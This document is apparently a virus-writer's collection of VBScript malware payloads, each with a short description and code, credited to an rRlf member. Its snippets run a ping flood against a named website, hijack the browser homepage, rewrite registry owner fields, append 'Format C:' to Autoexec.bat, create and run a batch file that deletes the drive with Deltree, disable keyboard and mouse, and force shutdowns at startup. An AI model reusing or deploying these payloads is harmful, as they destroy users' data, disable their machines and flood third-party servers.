--------Loop floppy disk read--------
Description: This payloads has to be one of the most annoying
non-damaging payloads that I can think of. It simply makes the
floppy disk drive read at an infinate loop.
Here is the code:
-------------------------------------
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set DriveA = fso.GetDrive("A:")
Do
If DriveA.IsReady Then DiskReady = True
Loop
-------------------------------------
--------DoS (Denial of Service) attack---------
Description: This code basically Pingfloods a specific webpage,
Link, FTP or whatever. However, just one computer doing a Pingflood
will not cause much damage, but if at least 30 computers were doing it,
it would.
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.Run "Ping.exe -t -l 916 www.azoogle.com", 0, False
-------------------------------------
--------Change IE (Internet Explorer) hoomepage--------
Description: This just changes the homepage of IE using the registry.
Here is the code0:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.rrlf.de/"
-------------------------------------
--------File/Link execution loop---------
Decription: This code basically executes a File or web link on
a loop.
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
Do
wsc.Run "http://www.rrlf.de/", 3, False
Loop
-------------------------------------
--------Change PC Owner name--------
You can change the computers
owner name by using the registry. By changing the owner name,
it would change the login name, user info, installation info, etc that
involves the computers owner name.
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "Zed/[rRlf]"
-------------------------------------
--------Change PC Organization name---------
Decription: This is basically the same as the 'Change PC Owner'
component above.
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", "Zed Australia"
-------------------------------------
--------Format loop--------
Description: This code writes a batch command to format the computer
on the next system boot.
Here is the code:
-------------------------------------
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists("C:\Autoexec.bat") Then
Set WriteFormat = fso.OpenTextFile("C:\Autoexec.bat", 8)
WriteFormat.WriteLine "Echo y | Format C:"
WriteFormat.Close
-------------------------------------
--------Drive C Erase--------
Description: Practically the same as the format loop, but it happens
on the execution of the code, which is far more dangerous.
Here is the code:
-------------------------------------
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set wsc = CreateObject("WScript.Shell")
Set WriteFormat2 = fso.CreateTextFile("C:\Angry.bat", True)
WriteFormat2.WriteLine "Deltree /y *.*"
WriteFormat2.Close
wsc.Run "C:\Angry.bat", 0, False
-------------------------------------
--------Disable Keyboard and/or Mouse---------
Description: Really annoying, just uses the registry to disable the
Keyboard and/or Mouse.
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"
wsc.RegWrite RegServ & "\DisableKeybaord", "Rundll32.exe Keyboard,Disable"
wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse,Disable"
-------------------------------------
--------Shut down loop--------
Decription: Just keeps shutting down the computer when windows starts
(very annoying).
Here is the code:
-------------------------------------
On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\ShutDownWindows", "Rundll32.exe User,ExitWindows"
-------------------------------------
